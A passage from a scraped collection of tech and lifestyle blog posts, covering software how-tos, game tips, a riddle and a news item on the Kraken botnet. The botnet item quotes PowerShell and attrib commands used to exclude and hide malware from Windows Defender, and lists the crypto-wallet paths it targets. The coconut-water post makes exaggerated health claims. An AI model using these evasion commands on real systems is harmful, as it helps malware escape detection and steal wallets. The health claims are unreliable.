or going on a high-stakes chase, careful hiding is still advisable. Players should take advantage of hiding places and wait for the right moment to start sprinting again.\n  Some locations are hidden in the environment, like boxes, closets, trolleys,. and other times Gregory can hide in Freddy to stay out of trouble. Players should use these opportunities to get past the STAFF and hide from the scary puppets.\nAlways be careful with STAFF   Hideouts are often used to remain undetected by the program's STAFF army. One of the most annoying parts of the game is the jump scares of these robots. They also interrupt the player's journey through the Pizzaplex, alerting the puppet to Gregory's location.\nSome players caught at the moment tend to venture across an area, thinking they are stealthy and skillful enough to get past each of these robots, but the chances are very high that they will be caught, making the task difficult. much more accomplished.\nFive Nights at Freddy's ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdpbmixcinnmaemauybrrIoJ%2Btq12WwW6y0Z6bnbGjYsCmr9SroK2xXZe%2Fpq3CoQ%3D%3D\n","link":"/post/tips-for-playing-five-nights-at-freddy-s-security-breach/","section":"post","tags":null,"title":"Tips for playing Five Nights at Freddy's: Security Breach"},{"body":"Instead of spending time in vain accessing Facebook every day. Why don't you spend that time searching, learning, and cultivating your own knowledge? Here are 37 free Web sites to help you supplement and cultivate new knowledge every day. Why not turn off Facebook right now and always at this time, visit Web sites to learn?\nSee also: Self-improvement of English proficiency with these 11 websites\n  1. Participate in online courses edX.org: Take an online course from the world's top universities.\nCoursera.org: Join the best online courses for free.\nCoursmos.com: Join the mini online course on any device.\nGohighbrow.com: Every day, a piece of knowledge will be delivered to your inbox.\nSkillshare.com: Online courses and projects can awaken your creativity.\nCurious.com: Develop skills with video courses.\nlynda.com: Learn business, creativity and technology skills.\nCreativeLive.com: Free creative courses from leading experts around the world.\nUdemy: Online courses teach practical skills.\n2. Learning Code (learning programming)   Codecademy: Learn Code interactively for free.\nStuk.io: Learn Code for beginners.\nUdacity: The Nanodegree certification course is recognized by many industry leaders.\nPlatzi: Live video classes in design, marketing and code.\nLearnable: One of the best ways to start learning web development.\nCode School: Learn code by practicing.\nThinkful: Learning under the instructor model 1 - 1.\nCode.org: Start learning code today with easy-to-understand instructions.\nBaseRails: Mastering Ruby on Rails technology and other web technologies.\nTreehouse: Learn HTML, CSS and iPhone apps.\nOne Month: Learn code and develop web applications in a month.\nDash: Study website development.\nSee also: You will fall back to know these facts of Facebook 3. Learn to work with data DataCamp: Online data science courses.\nDataQuest: Learn data science with a browser.\nDataMonkey: Develop analytical skills in a simple and fun way\n4. Learning foreign languages   Duolingo: Free language learning.\nLingvist: Study foreign languages ​​for 200 hours.\nBusuu: Free language learning community.\nMemrise: Learn vocabulary in flashcard format (Flashcard is a 2-sided paper with notes and illustrations. Learn by flashcard to remember important content easily and quickly).\nBabbel: Discover the new word learning experience.\n5. Expand knowledge   How to make money from Facebook? And the answer is very funny\nTED-Ed: Educational videos are carefully selected.\nKhan Academy: Access libraries with great interactive content.\nGuides.co: One of the largest online instructional repositories.\nSquareknot: Instructions for presenting in a beautiful step-by-step format.\nLearnist: Learn from the web content, print content and video content selected by experts.\n6. Some other websites   Chesscademy: Learn to play chess for free.\nPianu: Learn to play interactive piano.\nYousician: Learning to play guitar.\nYou can refer to some of the following articles:\nHow to retrieve a hacked Facebook account How to permanently delete Facebook account 2 ways to rename Facebook when less than 60 days or more than 5 times I wish you a happy and prosperous new year!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dm66kscGopqRlpJa4pnnToqSeZaSkere10qKrZqyYmsCmeZJwZLCdkmLAqsDErGStp12WsaV5zZ6uZqOepMStscOgnGadppq%2FunnDmrA%3D\n","link":"/post/turn-off-facebook-take-time-to-visit-these-37-web-sites-to-add-new-knowledge-every-day/","section":"post","tags":null,"title":"Turn off Facebook, take time to visit these 37 Web sites to add new knowledge every day"},{"body":"WinRAR is a very popular software, almost installed in every computer. But do you know what makes this software so popular? And did you make the most of the utilities it brought?\nIn the following article, we will go into the research of some of the bright functions of WinRAR to help you understand more about this \" pepper kid \". The reason is called \" little pepper \" because the latest version of WinRAR, which occupies only 1.4 Mb of compact disk space on your hard drive, helps make a huge volume that sometimes you don't even realize. Compact capacity, fast processing speed, support for many utilities, running on all operating systems from Linux, Windows, Freebsd, Mac, providing many language packs including Vietnamese . WinRAR has beaten all another opponent on the path of proclaiming his king.\n  The familiar interface of WinRAR.\nWhen the installation is complete, WinRAR will be integrated right-click menu so you can access the program quickly when working. The following is a detailed guide on how to use some of the brightest WinRAR functions.\n  WinRAR is integrated into the right-click menu to help you work more efficiently.\n1. Compress, split files First, you right-click on the folder you want to collapse and select the line Add to archive . In the new interface will appear to provide full options such as:\n  - Archive name box will be the name of the newly created compressed file. - The Archvie format box will be the format of the compressed file. WinRAR supports creating compressed files in 2 RAR and ZIP formats. The difference between the two formats is that RAR files will have a longer compression time, but the quality will be better and vice versa for ZIP files. - The Compression method box is a compression method. You can choose the method depending on each compression speed like Fast - fast, Fastest - fastest or with quality: Good - good, Best - best. Or else you should choose the default Normal level to match the speed and quality of the compressed file. - Click Split to volumes, bytes : you only use this box when you want to specify the file's compressed capacity. For example, you have a 5 Gb movie and a USB 4 Gb. What will you do if you want to copy that movie to another computer? Enter the parameters in Split to volumes box so that WinRAR splits the movie into multiple compressed files, assuming that file 1 is 3 Gb and file 2 is 2 Gb. So things will be easier, right?\n2. Set password to protect compressed file If you want to set a password to prevent anyone else from opening your archive, select Advanced / Set Passwords .\n  - Type the first password into the Enter Password box. - Re-type the password a second time in the Reenter password box for verification. - The Show password box you choose in case you want the password not to be hidden. - Encrypt file names you choose to secure the name of the compressed file. Thus, when someone accesses the compressed file without knowing the password, the name of the file will not appear, so they cannot see that you are \"hiding\" anything under that password layer. Although it only accounts for more than 1 Mb of hard drive, WinRAR's password encryption is extremely high. According to the test, with software designed to break WinRAR passwords, a password of 3-5 characters can be detected within 10 hours. For complicated passwords including uppercase, lowercase letters, number of digits and some special characters, this time can be up to several decades. Therefore, you can be assured of the security and safety of WinRAR password.\n3. Data recovery Another very valuable feature of WinRAR is to provide complete data recovery when the file is corrupted. This is the function most appreciated by the writer because it is really useful in case you download many GB of data to your computer and do not expect that due to many reasons such as the compression process is faulty, the process of downloading errors, . You can't use those files anymore. With WinRAR, that fear was completely eliminated by a feature called Recovery Record .\n  To use Recovery Record, at the first interface appears at the step Add to archive just mentioned, you click on the Put Recovery Record and then on the Advanced tab, enter the number 5 into the Recovery record frame. For readers to understand better, we would like to explain the concept of Recovery record as follows: when selecting this function, WinRAR will ' attach ' some additional encrypted files to the compressed file created. These files, more or less depending on the number you fill in the Recovery record. The higher the number, the greater the recovery rate of the file, but the size of the compressed file will increase proportionately. According to personal experience and reference from many sources, 5 is the most appropriate number for this function.\n4. Extract ISO file Not just that, another interesting feature of WinRAR that many people overlook is reading and extracting ISO files. If anyone plays games and regularly downloads ISO files on the network, this will be a gadget not to be missed. Instead of searching and installing software to run virtual drives such as Ultra ISO, Alcohol, . then with WinRAR, everything seems to be much easier.\n  WinRAR can extract most ISO files. You just need to right-click on the ISO file and select Open with WinRAR and select the decompression location to start the process. Once completed, the next thing to do is to make sure you know, right? Besides the utilities mentioned in the article, WinRAR ' little pepper ' still has many potential uses and values ​​waiting for you to explore. You can download the latest version of WinRAR here .\nncG1vNJzZmismaXArq3KnmWcp51kxKq60ZqpZpmemXqnscCtrKudo2LGsMGMppiyZZ6kwW63zaiuZrGVqQ%3D%3D\n","link":"/post/winrar-and-features-you-may-not-know-yet/","section":"post","tags":null,"title":"Winrar and features you may not know yet"},{"body":"Slack is one of the best communication applications in the last decade. It is extremely useful for managing remote groups and projects, mainly because it facilitates easy conversation in real time in a central location. In many ways, Slack defeated email.\nBut email has an advantage: It is easier to search through previous messages, to find out what someone has said weeks, months or even years ago. Slack also has a search function, but it's not tweaked - at least until you learn all the secrets about it.\n  By default, when you search for something in Slack, the results will display messages that contain any words in the search query. A bit confusing, so you should use the following tips to increase your search efficiency:\n1. Use quotes to search for the exact phrase.\n2. Use an asterisk as a wildcard for the phrase.\nYou can also use modified filters:\n3. in: [channel] filters the result by a certain channel.\n4. in: [name] filters results by conversation with a certain user.\n5. from: [name] filters the results by conversation with a certain user, but ignores your messages in the spoken conversations.\n6. before: [date] filter the results before a certain date.\n7. after: [date] filter results after a certain date.\n8. on: [date] only filters results for a certain date.\n9. during: [month / year] filter results by given month or year.\n10. has: link filter results with messages containing links.\n11. has: star filter results containing messages you starred.\nThe next time you need to find an old message in Slack, use one of these search engines and you'll save a lot of time. Seriously, these things will be much more useful than you think. Do not underestimate them!\nImprove your Slack use skills with great tips and tricks above. If there are any other useful tips with Slack, let us know in the comment section below!\nGood luck!\nSee more:\nSlackware's package utilities These Slack shortcuts will save your life 15 great integration for Slack application you should not ignore ncG1vNJzZmismaXArq3KnmWcp51kfnJ5wJ2tmqaTmrFuv8SaqZygXam2sb%2BMsKCtoF2ouaKvyg%3D%3D\n","link":"/post/11-advanced-search-tips-with-slack/","section":"post","tags":null,"title":"11 advanced search tips with Slack"},{"body":" 12 causes of insomnia that you never expected A month before your heart attack, your body will show 8 warning signs! 9 abnormal signs in the legs warning the body is having health problems Coconut water seems to be everywhere. Top models, famous athletes or even world organizations all claim that coconut water is the most natural health drink.Please refer to 8 great things that can happen to your body if you drink coconut water continuously for 15 days!\nProvide enough water for the body  © depositphotos\nDrinking coconut water helps restore energy and maintain the optimal fluid balance in the body . It is for this reason that athletes are often advised to use coconut water before, during and after exercise.\nLose weight more quickly and easily  © depositphotos\nTry to replace beverages, sugary or carbonated beverages with coconut water if you plan to lose weight and keep your body weight stable. Coconut water is a naturally low calorie drink that helps you feel fuller longer. Try using some coconut water before meals, you will eat less.\nLimit digestive problems  © depositphotos\nDue to its high fiber content, coconut water helps prevent indigestion . The World Health Organization even recommends using coconut water to help treat diarrhea in children.\nBlood pressure stable  © depositphotos\nStudies show that coconut water has a significant impact on blood pressure, helping to reduce 71% systolic blood pressure and diastolic blood pressure by up to 29%.\nSmooth skin  © depositphotos\nAs an excellent source of antioxidants, coconut water can boost all toxins and provide essential nutrients . In addition to drinking coconut water, you can rub coconut water on your face daily. It will protect against impurities and make skin healthier.\nReduce stress, help mood better  © depositphotos\nCoconut water contains many vitamins. In fact, B-vitamins will help reduce stress and prevent mood swings . Magnesium will increase the production of serotonin - because the lack of this substance can cause depression.\nNaturally restores the body  © depositphotos\nIf you feel unhappy, drink coconut water, it will help you rejoice. Nutritious coconut water helps restore the body and replenish lost vitamins . Coconut water contains 95% pure water, so this is the best drink to balance the water in the body.\nReduce the aging process  © depositphotos\nCoconut water is a natural source of cytokinin - plant hormones have a miraculous effect on health. Not only responsible for cell division, effective anti-aging, but regular consumption of coconut water also reduces the risk of age-related diseases such as cancer and thrombosis.\nSee also: Do ​​not fool other people to borrow 8 things to avoid painting on the body!\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51khW6z0Z6YrWWknbavs9JmmpqmXZ2usbzEp2Stp12ptaZ5waibsmWZm3qlvsinoqKml2KwsK%2FOp6ytZaeWwaa%2BjJ%2Bmq2Vhanqlrdis\n","link":"/post/8-great-things-can-happen-to-the-body-if-drinking-coconut-water-for-15-days/","section":"post","tags":null,"title":"8 great things can happen to the body if drinking coconut water for 15 days"},{"body":"The CEO of Tesla Motor Elon Musk has a favorite question: if you go north for a mile, go west for a mile, go south for a mile and you still return to your original starting point. So where were you?\nThis is a very tough question that Elon Musk often challenges candidates to apply to their organization. However, not everyone can easily find the answer and it is even more difficult when the number of answers does not stop at number 1.\nVideo decoding the harsh interview of Elon Musk Detailed analysis: Through the video above, you can see that the answer to this question does not stop at one or two but a lot.\nFirst answer: You are in the North Pole This is the answer that most people can easily think of right from the first few seconds.\n  The meridians on the Earth will converge to the north and south poles. At the north end, going to which direction it will also be south. And when you go down to the South Pole, then turn to the West and back to the North, your travel route forms a triangle and obviously, the end point will stop where you started.\nNote: Even if you choose to turn to the East or West, the answer is still the same.\nSecond answer: You are in the South Pole Imagine you are near the South Pole. At this point, draw a circle with a circumference equal to one mile (the circumference of the circle is its boundary boundary or the circle itself). Temporarily call it the C1 circle.\n  If you are in a position on the C2 circle one mile north of the C1 circle, when you move down the C1 a mile, then you turn to the West 1 mile (you are going around C1 circle has a circumference of 1 mile) and finally, when going north, you will return to the point where you started.\nObviously, all points on the C2 circle are the answer.\nStill the third answer (expanded): The above video is only separated into the two most common answers but has expanded to another answer at the end and you can understand as follows:\nThink of a circle with a circumference equal to 1/2 mile and call it circle C (1/2) temporarily.\nIf you are 1 mile away from the circle, move one mile south, then turn west for a mile, meaning you have to go around the circle C (1/2) twice (due to This circle only has a circumference of 1/2 mile, so you have to go twice to make sure it is 1 mile) and finally, when going north 1 mile, you return to the right starting point.\n  Similarly, if you draw a circle near the South Pole with a circumference equal to one third of a mile, then when you turn to the West you will have to go around this circle three times and then you will return to where you started.\nThe same is true for a circle with a circumference of 1/4 mile, 1/5 mile and for any circle with a circumference of 1 / n (where n is any number or assume 1 / X as a video above mentioned). When you turn to the west, you will have to go around the circle exactly n times and eventually return to the starting point in the north.\nSo next time, if someone challenges you with this question, are you ready to give the answer?\nncG1vNJzZmismaXArq3KnmWcp51ksaavzp2gp59dqbWmedOorKCgXZ67tbHRr6Cer12ks26vxKhkrZ2joa5uscuopWalpai4\n","link":"/post/decoding-the-tough-interview-of-ceo-tesla-elon-musk/","section":"post","tags":null,"title":"Decoding the tough interview of CEO Tesla: Elon Musk"},{"body":"Any poorly secured system can easily fall victim to a malicious botnet.\nMicrosoft recently had to rush to release an update related to Window Defender, which removed the ability to access excluded folders and files without administrator rights. In other words, users will now be forced to own admin rights to see the list of excluded folders and files in Window Defender.\nThis is a notable change because threat actors often try to abuse this type of information to deploy malicious payloads inside excluded directories, with the ultimate goal of circumventing the rules. Windows Defender malware scanner.\nHowever, this Microsoft method may not work against a new botnet called Kraken, which was recently discovered by the ZeroFox security team. The reason is that this botnet simply turns itself into the exclusion data, instead of trying to find the excluded folders and files to distribute the payload like many other botnets do. This is obviously a relatively simple but smart and effective 'trick' to bypass Window Defender's malware scanning.\n  The mechanism of action of the botnet is basically explained by ZeroFox as follows:\nDuring Kraken's installation, it will try to switch itself to %AppData%Microsoft.\n\n[.]\n\nTo hide from Window Defender, Kraken runs the following two commands:\n\npowershell -Command Add-MpPreference -ExclusionPath %APPDATA%Microsoft\n\nattrib +S +H %APPDATA%Microsoft\n\nZeroFox notes that Kraken is primarily a data-stealing malware, similar to the recently discovered fake Windows 11 lookalike website. Experts also added that Kraken's most dangerous ability at the moment is to steal information related to users' cryptocurrency wallets.\nThe most dangerous additional feature of the botnet is the ability to steal different crypto wallets from the following places:\n %AppData%Zcash   %AppData%Armory   %AppData%bytecoin   %AppData%Electrumwallets   %AppData%Ethereumkeystore   %AppData%Exodusexodus.wallet   %AppData%GuardaLocal Storageleveldb   %AppData%atomicLocal Storageleveldb   %AppData%com.liberty.jaxxIndexedDBfile__0.indexeddb.leveldb  You can find more details on how the Kraken botnet works in ZeroFox's blog post HERE.\nncG1vNJzZmismaXArq3KnmWcp51ksabAxJyroqaXYq%2BwwM2eq6xlpJ2utXnCmqVmnZGotq3FjJuwqZmjqHq4tc2dprCrXZmyp7HNnZyrZZGjsW6%2F056YpWWTp8axwM5mrpqknJrBbrDArZg%3D\n","link":"/post/detecting-botnets-that-can-easily-bypass-windows-defender-and-steal-crypto-wallet-data/","section":"post","tags":null,"title":"Detecting botnets that can easily bypass Windows Defender and steal crypto wallet data"},{"body":"A recent bug has appeared in iOS, which seems like all your contacts have been deleted, because the contact's name doesn't show up in any call logs or messages on the phone at all. Instead, you can only see phone numbers instead of contact names. This can certainly confuse an ordinary iPhone user, thinking that he has lost all his name and contact information.\nHowever, a glance at the Contacts app will erase these doubts, as the contacts are still intact. Display problems are usually caused by a simple error and are usually temporary, which can be fixed quickly.\nThe following article will guide you how to troubleshoot contact names not displayed on the iPhone.\nRestart iPhone The simplest solution to this problem is to restart iPhone.\nYou can turn off and then turn on the iPhone as normal or can perform a hard reboot. To hard reboot (force restart iPhone), follow the steps in the article: Instructions to restart iPhone when the device crashes.\nWhen the iPhone restarts successfully, relaunch the Phone app and Messages app. You will see contact information restored and displayed as usual.\nCheck iCloud Contacts settings Another reason that the contact name may not appear in the Phone and Messages app is that iCloud Contacts is not activated. This can happen if you recently turned on iCloud Contacts and then turned it off.\n1. Access the Settings application on iPhone.\n2. Click iCloud ID at the top of the screen.\n3. Click on iCloud and see App Using iCloud . Make sure 'Contacts' is enabled.\nIn case this fixes the problem, you may need to keep iCloud Contacts turned on for contact names to appear in the app. This is a temporary fix, which should be addressed in the iOS software update.\nYou should keep iCloud Contacts activated because of their ease of use and the fact that you can quickly restore them to your device in case the contacts are deleted incorrectly.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKeYpp2jYravecKopa2Zk6nAbrrOrWSsoJ%2Bstq%2BzjKilZqGfqA%3D%3D\n","link":"/post/fix-names-in-contacts-not-showing-on-ios/","section":"post","tags":null,"title":"Fix names in contacts not showing on iOS"},{"body":"Alarm sounds on iPhone will have a list of different sounds to choose from. You can set different sounds for each alarm time frame, change according to your mood, instead of using a single default and boring alarm tone earlier. In addition, we can choose the alarm sound by the song in the playlist on iPhone, or use the ringtone created on iPhone to make the alarm sound. So we have many options, use the alarm we like and change the options next to the list of available alarm sounds. The following article will guide you how to change the alarm sound on iPhone.\nInstructions to change the alarm bell on iPhone Step 1:\nWe go to the clock app on the iPhone and click on the Alarm section . Here, users click Next Edit button in the top left corner to edit alarms on iPhone.\nStep 2:\nNext, click on the alarm time frame that you want to change the notification sound. Switch to the new interface, click on the Alarm button to change the new alarm tone. Also in the Edit this alarm view, you can edit the alarm time, the date the alarm is displayed, or the content of the alarm as you like.\nDisplays a list of available alarms for you to change or select a song in the playlist as an alarm. After selecting, go back to the interface and click Save .\nSee more:\nHow to repeat alarms on iPhone How to create interesting math-type alarms on iPhone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lkaGus7mMrKauppRivK95yKmfqKaV\n","link":"/post/how-to-change-the-alarm-sound-on-iphone/","section":"post","tags":null,"title":"How to change the alarm sound on iPhone"},{"body":"The following article contains detailed instructions How to convert rows into columns and vice versa in Excel.\nAssuming I have the following data table, the attributes that are in the row I want to turn into columns.\n  Step 1: Highlight the data you want to convert to column -\u0026gt; right click -\u0026gt; Copy .\n  Step 2: At the new table position you want to display, right-click and then select Paste Special .\n  Step 3: A dialog box appears, select the Transpose item , then click OK to complete.\n  Result of the attributes converted to column headings (as shown):\n  You want to convert the column to a similar line of operation.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmqaivo2K2r8DOZpqopKWiu7R5wKebZq6ZmLJuwsSrqpplmaN6psTCnqM%3D\n","link":"/post/how-to-convert-rows-into-columns-and-vice-versa-in-excel/","section":"post","tags":null,"title":"How to convert rows into columns and vice versa in Excel"},{"body":"It is an indisputable fact that looking at electronic device screens for too long in low light conditions brings a lot of harm to your eyes and even your brain. From disrupting circadian rhythms to causing damage to cells in the retina, all of this has negative effects on the body in the long run.\nTo partially overcome this problem, Google has introduced a feature called 'Night Light' on Chrome OS. When activated, this feature will cause the screen to switch to a warmer tone that is more eye-friendly, while reducing the amount of blue light radiation reaching the user.\nIf you often have to work with your Chromebook in low light environments, activate Night Light to feel the difference. Find out below!\nEnable Night Light mode on Chromebook First, click the taskbar clock — also known as 'Shelf' — in the bottom-right corner of the screen to open the Quick Settings panel.\n  If the panel is not fully expanded, click the arrow button in the top right corner.\n  In the list of options that appear, you will see the item 'Night Light'. Just tap it and the screen will slowly switch to warmer tones.\n  You also have some options to set up the Night Light mode as you like. Open the 'Settings' app and navigate to the 'Device' section.\n  Next, click on the 'Displays' item.\n  In the \"Night Light\" section, you can use the slider to adjust the tone you want.\n  Finally, click the drop-down menu next to 'Schedule' to set up your own Night Light triggering schedule. Or you can also select 'Never' to manually enable the feature only when needed.\n  It's all simply that. Wish you always have a good experience with your Chromebook!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYynoKCgpGK5qrPHrWSmp5SaerW7jKWgpqGkYq%2BtwcRmo6KfmKl6sLqMnJ%2Brp52ar7C7yqw%3D\n","link":"/post/how-to-enable-night-light-mode-to-limit-blue-light-on-chromebooks/","section":"post","tags":null,"title":"How to enable Night Light mode to limit blue light on Chromebooks"},{"body":"When installing Opera or upgrading to a new version, you may encounter an error, the process cannot continue and affect the use of the browser. At that time, we received an error message on the interface, with an update error showing An error occurred while checking for updates and installation errors Opera shows the Opera fail to install interface - An error occurred while trying to install Opera . If you are having problems in 1 of 2 errors, please refer to the article below.\nInstructions for fixing common errors in web browsers How to turn on and turn off smooth scrolling on Opera How to fix Corrupted Content Error in Firefox How to fix Flash Plugin error on Google Chrome, Coc Coc, Firefox Instructions to fix installation error, update Opera Step 1:\nWe open the Run dialog box and enter the keyword msconfig and press Ok to access.\n  Step 2:\nDisplays the System Configuration interface. Here the user clicks on the Boot tab and selects Safe boot and Netwok . Click Ok to save.\n  Step 3:\nNext we restart the computer by clicking the Restart button in the interface shown below.\n  When the computer is restarted, we proceed to install and upgrade Opera browser as usual. Then return to the System Configuration interface and uncheck Safe boot to bring the computer to normal mode.\nSo we know how to fix the installation and update Opera browser. If there is a problem with updating Opera browser, try cleaning the cache on your browser and computer and restarting the computer. If not, apply the method to start the computer from Safe boot mode as above.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqqutKtmKWkmaO0bsHPnZitoZ6cerC8xKuYZqeeYsSqusOorqxlYWU%3D\n","link":"/post/how-to-fix-installing-updating-opera-on-windows-10/","section":"post","tags":null,"title":"How to fix installing, updating Opera on Windows 10"},{"body":"When editing Word documents, you can insert any content such as inserting images into Word, inserting tables into Word, etc. You can even insert the current time into the content. Instead of having to enter it manually, there is a very simple automatic time-insertion on Word.\nWe can insert date and time format in Vietnamese style or insert English date and time format. The following article will guide you how to insert the current date and time into Word.\nNote to readers , before proceeding to insert the date and time content into Word, users need to adjust the date and time on the computer to match the current time.\nHow to format dates in Excel How to adjust the date and currency format in Google Sheets How to arrange incremental dates in Excel 1. Insert time into Vietnamese-style Word Step 1:\nClick on the content to insert the date and time, click on the Insert tab and then select the Data \u0026amp; Time item .\n  Step 2:\nDisplay the Data and Time dialog box, users click on Update automatically . Adding this auto-update option will allow us to edit and update the time when inserting the date and time into the content.\nThen, at Language section, select English and choose the type of date and time you want to use. Click OK to insert the time into the content.\n  Step 3:\nAs a result we will see the current date and time, with the time format you have chosen to display in the textual content.\n  Since the setting uses automatic update mode, when you click on the timeline, the Update button will be displayed to update the current time.\n  We can also press F9 to update or right-click the time and select Update Field to update the current date and time.\n  2. Insert the date and time into English-style Word We also click on the Insert tab and then click on Data \u0026amp; Time. Then in the Data and Time dialog box, select the language English (US) .\nContinue users to click Update automatically and select the type of date and time in the list to insert into Word.\n  The end result will also be date and time with the English style format displayed in the content.\n  Inserting the date, time, and month into Word is very simple. You just need to choose which date format you want to insert, between English and Vietnamese. It is recommended to use automatic update mode to change the Word insert time when needed.\nVideo tutorial inserting time into Word See more:\nHow to fix date errors when copying to another Excel file Word 2013 Complete Guide (Part 16): Image format How to copy Style between 2 Word files 10 features in Word 2013 make working faster and easier MS Word: Create page title (Header) and footer (Footer) Type the page number, insert special characters . into the text file I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIytoKadXZmutbGMmqWdZaSeuqZ5yKdksKeimQ%3D%3D\n","link":"/post/how-to-insert-time-date-and-time-in-word/","section":"post","tags":null,"title":"How to insert time, date and time in Word"},{"body":"SDelete GUI is an open source program built by Microsoft with the aim of deleting data thoroughly and cannot be restored in any way . In the past years, the SDelete GUI worked through the Command Prompt and it was difficult to use the SDelete GUI because you had to enter a bunch of different codes. At that time, the difficulty of use was the biggest obstacle for the SDelete GUI to reach the user.\n  Sysinternals later researched the open source SDelete GUI provided by Microsoft and created an application that is integrated directly into Windows Explorer to improve usability. If you do not know what Windows Explorer is, then right-click on a folder, lost files, it is Windows Explorer.\nThe inclusion of the SDelete GUI is widely supported because they are not only simple, but also more efficient when setting multiple parameters. Besides, the installation of SDelete GUI is also a lot simpler when Sysinternals stores them in the popular .exe file format.\n  Although built into a separate application, but when you use the SDelete GUI they still have to launch the Command Prompt because they delete based on the DOD 5220.22-M standard. At this point, you will see the application window blinking once, which is the blink of the Command Prompt application window. On the whole, this issue is not too detrimental to the experience.\n2. How to use the SDelete GUI to delete files Step 1: You proceed to access the home page\u0026nbsp; SDelete GUI here and select Sdelete-GUI.exe to download the software.\n  Step 2: After the software is downloaded, you can proceed to launch and install similar to other software.\n  Step 3: When you first start the application, you will have the SDELETE GUI window , which is a window with lots of information affecting performance, specifically as follows:\nHow many passes will it use: The number of times you want to pass In this setting, the higher the How many passes will it use will mean the safer the file deletion is. However, we would keep them at 10 which makes sense since deleting is still fast and still provides effective security.\nWhen the setup is complete, you select Enable to proceed with activation.\n  Step 4: When the installation is complete, you will receive the message Configured, Sdelete will use xx passes .\n  Step 5: The installation is complete, you can Right-click any file / file to test the SDELETE GUI tool.\nYou proceed to Right-click and select Secure Delete to completely delete.\n  Before deleting data using the SDELETE GUI, you should consider it carefully because it cannot be recovered or it is very difficult to recover.\nStep 6: The first time you use the SDELETE GUI , you will need to confirm with the terms of the manufacturer and choose Agree to finish. From the next time on, you delete will not have any other operations, similar to Delete available on the computer.\n  In this article, TipsMake showed you how to use the SDELETE GUI to safely delete data on the computer. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVmMKzscuyZJ2dnJrBpnnFoqOeq12qwKq6xmaroZ1dqLGmuMStnGafpZ4%3D\n","link":"/post/how-to-securely-delete-files-using-the-sdelete-gui/","section":"post","tags":null,"title":"How to securely delete files using the SDelete GUI"},{"body":"The new G6 model is one of the first models of the modern, youthful mid-range Pavilion series and the cheap G series before.\nThe Pavilion G6 has a scratch-resistant case with a unique Imprint design and a lightweight design of only 3cm. Machine equipped with screen size 15.6 inch LED backlight resolution of 1366 x 768 pixels with good configuration with Intel Core i second generation processor and AMD graphics card with 1GB VRAM.\nPavilion G6 is sold in Vietnam with two basic configurations: G6-1001TX equipped with Core i3-2310M chip with 2.3 GHz speed, 2GB RAM, 320GB hard drive, AMD Radeon HD 6470 graphics card with 1GB VRAM, weighing 2.55 kg of reference price of VND 13.7 million (excluding VAT).\nThe other model is G6-1002TX with Core i5-2520M chip with 2.5GHz speed, 2GB RAM, 320GB hard drive, AMD Radeon HD 6470 graphics card with 1GB VRAM capacity, weighing 2.55 kg reference price of 15 million VND (excluding VAT).\nSome official photos of Pavilion G6:\n  Pavilion G6 with a modern design.   G6 equipped with a separate card and a Core i second generation chip.   Design HP Imprint and anti-scratch exterior surface according to HP's announcement.   The machine is slightly heavy with 2.55 kg.\nncG1vNJzZmismaXArq3KnmWcp51ktbF5z5qtoqSZpLtus5VmmqirpKh6p77OpmRqa2diuqq4y6Kmp2WZo3q3tcStpZql\n","link":"/post/hp-pavilion-g6-costs-from-13-7-million-in-vietnam/","section":"post","tags":null,"title":"HP Pavilion G6 costs from 13.7 million in Vietnam"},{"body":"Franzis Photo BuZZer is a beautiful photo color correction tool with rich color filters, comes with many different tones so that you can easily adjust beautiful color images with just one click. This software can create about 1 million styles with all kinds of extremely beautiful images for users to choose.\nFranzis Photo BuZZer supports Windows 10 / 8.1 / 8/7 / Vista (32 bit - 64 bit), Mac OS X (higher than 10.7) operating systems.\n  Currently, Franzis Photo BuZZer is on sale for a short time, please follow the instructions below to receive it.\nGuide to get Franzis Photo BuZZer copyright free\nStep 1: Visit the Franzis Photo BuZZer copyright free page by following the link below.\nhttps://reg.franzis.de/reg/PHW-21942000/138383801/0/502/2.0/0/en/  Step 2: Enter your Email and password -\u0026gt; press SEND.\n  Step 3: Enter the Email entered in step 2 again -\u0026gt; press SEND.\n  Step 4: In the next page interface, you do not need to enter information, scroll down to the bottom of the page and continue to click the SEND button. You will receive an email check notification.\n  Step 5: Open the email and click on the link in the email to confirm.\n  Step 6: You skip the information request in the next interface and click on SEND next.\nStep 7: Check email to receive the ID and activation code.\n  Step 8: Visit the link below to download the Franzis PhotoBuZZer software installation file.\nhttps://www.computerbild.de/download/Photo-BuZZer-Kostenlose-Vollversion-11202619.html  Step 9: Run the installation file, enter the ID and Code to activate the copyright -\u0026gt; click OK -\u0026gt; click Install and install like other normal applications.\nThe best free Microsoft Word template download websites ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZJ%2BqkaPHqr%2BMqZ%2BorJ9ir7bG2Z6pZpldqLauvMueZKimlZi5qq%2FKZqehp6SkeqS7y6ipZpufp7%2Bmr9OipqdlpKS8rXnPq6CcnZRirrV5kWysrJxdm7%2BmsQ%3D%3D\n","link":"/post/please-download-franzis-photo-buzzer-a-simple-one-click-photo-color-correction-tool-priced-at-23usd-free/","section":"post","tags":null,"title":"Please download Franzis Photo BuZZer, a simple one-click photo color correction tool, priced at 23USD, free"},{"body":"It creates a subsystem that prevents malware from entering your computer. Therefore, it sometimes affects the performance of the machine.\nIn this article, TipsMake.com will show you how to turn off VBS on Windows 11 to avoid affecting your computer's gaming performance.\nHow to check VBS on Windows 11 computer is on or not Step 1: Click the Start button or search (Search) then type Msinfo32 or System Information and then press Enter.\n  Step 2: The System Information window will appear and you scroll down to find the VBS (Virtualization-Based Security) item. If the status is Running then VBS is on.\n  Now, we will go to turn off VBS if it is enabled.\nTurn off VBS on Windows 11 Adjust settings in Windows Security Step 1: You press the Start button or the search button (Search) then type Windows Security and then press Enter.\n  Step 2: Click on Device security\n  Step 3: Click on Core isolation details under Core isolation\n  Step 4: In the Memory Integration section, select Off and then restart the device. After the machine 